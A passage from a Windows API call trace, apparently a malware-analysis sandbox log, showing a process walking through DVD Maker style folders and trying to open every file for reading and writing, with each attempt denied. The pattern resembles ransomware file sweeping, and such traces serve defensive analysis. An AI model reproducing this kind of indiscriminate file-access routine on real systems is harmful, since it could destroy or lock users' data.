Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.013] GetLastError () returned 0x5 [0191.013] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1 [0191.013] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.013] GetLastError () returned 0x5 [0191.013] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0191.013] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.013] GetLastError () returned 0x5 [0191.013] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1 [0191.013] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.013] GetLastError () returned 0x5 [0191.013] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x0, dwReserved1=0x0, cFileName="notes-static.png", cAlternateFileName="")) returned 1 [0191.013] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.014] GetLastError () returned 0x5 [0191.014] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 1 [0191.014] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.015] GetLastError () returned 0x5 [0191.015] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 0 [0191.015] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0191.016] GetProcessHeap () returned 0x2ef0000 [0191.016] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0191.016] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0191.016] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.017] GetLastError () returned 0x5 [0191.017] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0191.017] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.017] GetLastError () returned 0x5 [0191.017] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0191.017] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.018] GetLastError () returned 0x5 [0191.018] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0191.018] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.019] GetLastError () returned 0x5 [0191.019] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0191.019] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.019] GetLastError () returned 0x5 [0191.019] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0191.019] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.019] GetLastError () returned 0x5 [0191.019] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1 [0191.019] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureA.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpicturea.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.019] GetLastError () returned 0x5 [0191.019] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1 [0191.019] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.020] GetLastError () returned 0x5 [0191.020] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1 [0191.020] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.020] GetLastError () returned 0x5 [0191.021] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0191.021] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.021] GetLastError () returned 0x5 [0191.021] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1 [0191.021] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.021] GetLastError () returned 0x5 [0191.021] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1 [0191.021] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.021] GetLastError () returned 0x5 [0191.021] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1 [0191.021] GetProcessHeap () returned 0x2ef0000 [0191.021] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x7a) returned 0x2f123a0 [0191.021] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0191.023] GetProcessHeap () returned 0x2ef0000 [0191.023] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0191.023] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.023] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0191.024] GetProcessHeap () returned 0x2ef0000 [0191.024] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x27c) returned 0x2f47728 [0191.024] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.024] GetLastError () returned 0x5 [0191.024] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0191.024] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.025] GetLastError () returned 0x5 [0191.025] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0191.025] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.026] GetLastError () returned 0x5 [0191.026] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0191.026] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.027] GetLastError () returned 0x5 [0191.027] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0191.027] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.027] GetLastError () returned 0x5 [0191.027] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0191.027] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0191.028] GetLastError () returned 0x5 [0191.028] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, 